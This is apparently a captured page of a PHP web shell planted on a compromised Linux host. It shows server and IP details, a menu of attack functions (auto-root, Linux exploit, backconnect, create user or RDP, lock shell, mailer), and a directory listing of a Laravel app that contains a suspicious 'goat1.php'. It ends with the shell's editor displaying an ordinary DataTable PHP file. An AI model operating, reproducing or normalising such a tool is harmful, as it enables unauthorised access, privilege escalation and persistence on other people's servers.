Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.138
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo5.com /
app /
DataTables /
[ HOME SHELL ]
Name
Size
Permission
Action
AppreciationsDataTable.php
9.96
KB
-rw-r--r--
ArchiveProjectsDataTable.php
12.47
KB
-rw-r--r--
ArchiveTasksDataTable.php
25.1
KB
-rw-r--r--
AttendanceRegularisationDataTa...
8.88
KB
-rw-r--r--
AttendanceReportDataTable.php
9.59
KB
-rw-r--r--
AwardDataTable.php
6.94
KB
-rw-r--r--
BankAccountDataTable.php
11.84
KB
-rw-r--r--
BankTransactionDataTable.php
7.29
KB
-rw-r--r--
BaseDataTable.php
1.76
KB
-rw-r--r--
ClientContactsDataTable.php
5.99
KB
-rw-r--r--
ClientGDPRDataTable.php
3.74
KB
-rw-r--r--
ClientNotesDataTable.php
8.37
KB
-rw-r--r--
ClientSubscriptionDataTable.ph...
5.67
KB
-rw-r--r--
ClientsDataTable.php
11.65
KB
-rw-r--r--
ConsentDataTable.php
3.86
KB
-rw-r--r--
ContractTemplatesDataTable.php
7.11
KB
-rw-r--r--
ContractsDataTable.php
15.39
KB
-rw-r--r--
CreditNotesDataTable.php
11.73
KB
-rw-r--r--
CustomerDataRemovalDataTable.p...
4.72
KB
-rw-r--r--
DealNotesDataTable.php
6.73
KB
-rw-r--r--
DealsDataTable.php
29.02
KB
-rw-r--r--
DepartmentDataTable.php
6.42
KB
-rw-r--r--
DesignationDataTable.php
6.37
KB
-rw-r--r--
DiscussionDataTable.php
5.6
KB
-rw-r--r--
EmployeeAppreciationDataTable....
5.13
KB
-rw-r--r--
EmployeeWiseTaskDataTable.php
6.31
KB
-rw-r--r--
EmployeesDataTable.php
22.91
KB
-rw-r--r--
EstimateRequestDataTable.php
13.33
KB
-rw-r--r--
EstimateTemplateDataTable.php
6.27
KB
-rw-r--r--
EstimatesDataTable.php
17.68
KB
-rw-r--r--
EventDataTable.php
13
KB
-rw-r--r--
ExpenseCategoryReportDataTable...
3.41
KB
-rw-r--r--
ExpenseReportDataTable.php
8.3
KB
-rw-r--r--
ExpensesDataTable.php
14.17
KB
-rw-r--r--
FinanceReportDataTable.php
7.44
KB
-rw-r--r--
HolidayDataTable.php
10.28
KB
-rw-r--r--
InvoiceRecurringDataTable.php
12.75
KB
-rw-r--r--
InvoicesDataTable.php
30.81
KB
-rw-r--r--
KnowledgeBaseDataTable.php
7.18
KB
-rw-r--r--
LabelDataTable.php
3.6
KB
-rw-r--r--
LeadContactDataTable.php
16.27
KB
-rw-r--r--
LeadDataRemovalDataTable.php
4.68
KB
-rw-r--r--
LeadFollowupDataTable.php
6.71
KB
-rw-r--r--
LeadGDPRDataTable.php
4.26
KB
-rw-r--r--
LeadNotesDataTable.php
7.48
KB
-rw-r--r--
LeadPipelineDataTable.php
6.23
KB
-rw-r--r--
LeadReportDataTable.php
8.46
KB
-rw-r--r--
LeaveDataTable.php
19.71
KB
-rw-r--r--
LeaveQuotaReportDataTable.php
8.96
KB
-rw-r--r--
LeaveReportDataTable.php
7.04
KB
-rw-r--r--
NoticeBoardDataTable.php
8.62
KB
-rw-r--r--
OrdersDataTable.php
16.69
KB
-rw-r--r--
PaymentsDataTable.php
15.62
KB
-rw-r--r--
ProductsDataTable.php
10.33
KB
-rw-r--r--
ProjectNotesDataTable.php
9.12
KB
-rw-r--r--
ProjectTemplateTasksDataTable....
6.04
KB
-rw-r--r--
ProjectTemplatesDataTable.php
8.18
KB
-rw-r--r--
ProjectsDataTable.php
33.06
KB
-rw-r--r--
ProposalDataTable.php
13.33
KB
-rw-r--r--
ProposalTemplateDataTable.php
6.43
KB
-rw-r--r--
RecurringEventDataTable.php
12.18
KB
-rw-r--r--
RecurringExpensesDataTable.php
9.03
KB
-rw-r--r--
RecurringInvoicesDataTable.php
21.61
KB
-rw-r--r--
RecurringTasksDataTable.php
39.63
KB
-rw-r--r--
SalesReportDataTable.php
10.29
KB
-rw-r--r--
ShiftChangeRequestDataTable.ph...
7.54
KB
-rw-r--r--
ShiftRotationDataTable.php
6.6
KB
-rw-r--r--
SubscriptionDataTable.php
7.53
KB
-rw-r--r--
TaskReportDataTable.php
11.84
KB
-rw-r--r--
TasksDataTable.php
43.05
KB
-rw-r--r--
TicketDataTable.php
19.89
KB
-rw-r--r--
TimeLogConsolidatedReportDataT...
12.74
KB
-rw-r--r--
TimeLogPendingWeeklyApprovalRe...
9.63
KB
-rw-r--r--
TimeLogProjectwiseReportDataTa...
9.06
KB
-rw-r--r--
TimeLogReportDataTable.php
12.6
KB
-rw-r--r--
TimeLogWeeklyApprovalReportDat...
10.05
KB
-rw-r--r--
TimeLogsDataTable.php
23.82
KB
-rw-r--r--
WaitingForApprovalDataTable.ph...
29.97
KB
-rw-r--r--
consolidatedTaskReportDataTabl...
6.03
KB
-rw-r--r--
error_log
37.37
KB
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AttendanceRegularisationDataTable.php
<?php namespace App\DataTables; use App\Models\AttendanceRegularisation; use App\Models\AttendanceSetting; use App\Models\CustomFieldGroup; use Carbon\Carbon; use Illuminate\Database\Eloquent\Builder as QueryBuilder; use Yajra\DataTables\EloquentDataTable; use Yajra\DataTables\Html\Builder as HtmlBuilder; use Yajra\DataTables\Html\Button; use Yajra\DataTables\Html\Column; use Yajra\DataTables\Html\Editor\Editor; use Yajra\DataTables\Html\Editor\Fields; use Yajra\DataTables\Services\DataTable; class AttendanceRegularisationDataTable extends BaseDataTable { /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $attendanceRegularisation = AttendanceSetting::first(); $regulariseRoles = $attendanceRegularisation->attendance_regularize_roles; $regulariseRolesArray = json_decode($regulariseRoles, true) ?? []; $userRoles = user_roles(); $lastRole = end($userRoles); $condition = in_array($lastRole, $regulariseRolesArray) || $lastRole === 'admin'; return datatables() ->eloquent($query) ->addColumn('action', function ($row) use ($condition) { $action = '<div class="task_view"> <div class="dropdown"> <a class="task_view_more d-flex align-items-center justify-content-center dropdown-toggle" type="link" id="dropdownMenuLink-' . $row->id . '" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="icon-options-vertical icons"></i> </a> <div class="dropdown-menu dropdown-menu-right" aria-labelledby="dropdownMenuLink-' . $row->id . '" tabindex="0">'; // View button - always available $action .= '<a data-view-id=' . $row->id . ' class="dropdown-item view-attendance-regularisation" href="javascript:;"> <i class="mr-2 fa fa-eye"></i>' . trans('app.view') . ' </a>'; if ($row->status == 'pending' && ($condition || in_array('admin', user_roles()))) { // Accept button $action .= '<a data-accept-id=' . $row->id . ' class="dropdown-item accept-action" href="javascript:;"> <i class="fa fa-check mr-2"></i>' . __('app.accept') . ' </a>'; // Reject button $action .= '<a data-reject-id=' . $row->id . ' class="dropdown-item reject-action" href="javascript:;"> <i class="fa fa-times mr-2"></i>' . __('app.reject') . ' </a>'; // Edit button $action .= '<a data-edit-id=' . $row->id . ' class="dropdown-item edit-attendance-regularisation" href="javascript:;"> <i class="mr-2 fa fa-edit"></i>' . trans('app.edit') . ' </a>'; } $action .= '</div> </div> </div>'; return $action; }) ->addColumn('employee_name', function ($row) { return $row->name; }) ->addColumn('date', function ($row) { return Carbon::parse($row->date)->translatedFormat($this->company->date_format); }) ->addColumn('clock_in_time', function ($row) { return Carbon::parse($row->clock_in_time)->timezone($this->company->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format); }) ->addColumn('clock_out_time', function ($row) { if (is_null($row->clock_out_time)) { return ' -- '; } return Carbon::parse($row->clock_out_time)->timezone($this->company->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format); }) ->addColumn('working_from', function ($row) { return ucfirst($row->working_from); }) ->addColumn('status', function ($row) { if ($row->status == 'accept') { $class = 'text-light-green'; $status = __('app.accept'); } else if ($row->status == 'pending') { $class = 'text-yellow'; $status = __('app.pending'); } else { $class = 'text-red'; $status = __('app.reject'); } $regulariseStatus = '<i class="fa fa-circle mr-1 ' . $class . ' f-10"></i> ' . $status; return $regulariseStatus; }) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'name', 'employee_name', 'date', 'clock_in_time', 'clock_out_time', 'working_from', 'status']); } public function query(AttendanceRegularisation $model) { $request = $this->request(); $model = $model ->select([ 'attendance_regularisations.id', 'users.name as name', 'attendance_regularisations.date', 'attendance_regularisations.clock_in_time', 'attendance_regularisations.clock_out_time', 'attendance_regularisations.working_from', 'attendance_regularisations.status', ]) ->join('users', 'attendance_regularisations.user_id', '=', 'users.id'); if ($request->employee != 'all' && $request->employee != '') { $model = $model->where('users.id', $request->employee); } if ($request->status != 'all' && $request->status != '') { $model = $model->where('attendance_regularisations.status', $request->status); } if ($request->month != 'all' && $request->month != '') { $model = $model->whereMonth('attendance_regularisations.date', $request->month); } if ($request->year != 'all' && $request->year != '') { $model = $model->whereYear('attendance_regularisations.date', $request->year); } return $model; } /** * Optional method if you want to use the html builder. */ public function html() { $dataTable = $this->setBuilder('attendanceregularisation-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["attendanceregularisation-table"].buttons().container() .appendTo("#table-actions"); }', 'fnDrawCallback' => 'function( oSettings ) { $("#attendanceregularisation-table .select-picker").selectpicker(); }', 'columnDefs' => [ [ 'targets' => 1, 'className' => 'noVis' ] ] ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => '<i class="fa fa-file-export"></i> ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get the dataTable columns definition. */ public function getColumns(): array { return [ '#' => ['data' => 'id', 'name' => 'id', 'visible' => false, 'class' => 'noVis'], __('modules.employees.employeeName') => ['data' => 'name', 'name' => 'name', 'visible' => true, 'exportable' => false, 'title' => __('modules.employees.employeeName')], __('app.name') => ['data' => 'employee_name', 'name' => 'employee_name', 'visible' => false, 'title' => __('app.name')], __('app.date') => ['data' => 'date', 'name' => 'attendance_regularisations.date', 'title' => __('app.date')], __('modules.attendance.clock_in') => ['data' => 'clock_in_time', 'name' => 'attendance_regularisations.clock_in_time', 'title' => __('modules.attendance.clock_in')], __('modules.attendance.clock_out') => ['data' => 'clock_out_time', 'name' => 'attendance_regularisations.clock_out_time', 'title' => __('modules.attendance.clock_out')], __('modules.attendance.working_from') => ['data' => 'working_from', 'name' => 'attendance_regularisations.working_from', 'title' => __('modules.attendance.working_from')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(50) ->addClass('text-right pr-20') ]; } /** * Get the filename for export. */ protected function filename(): string { return 'AttendanceRegularisation_' . date('YmdHis'); } }
Close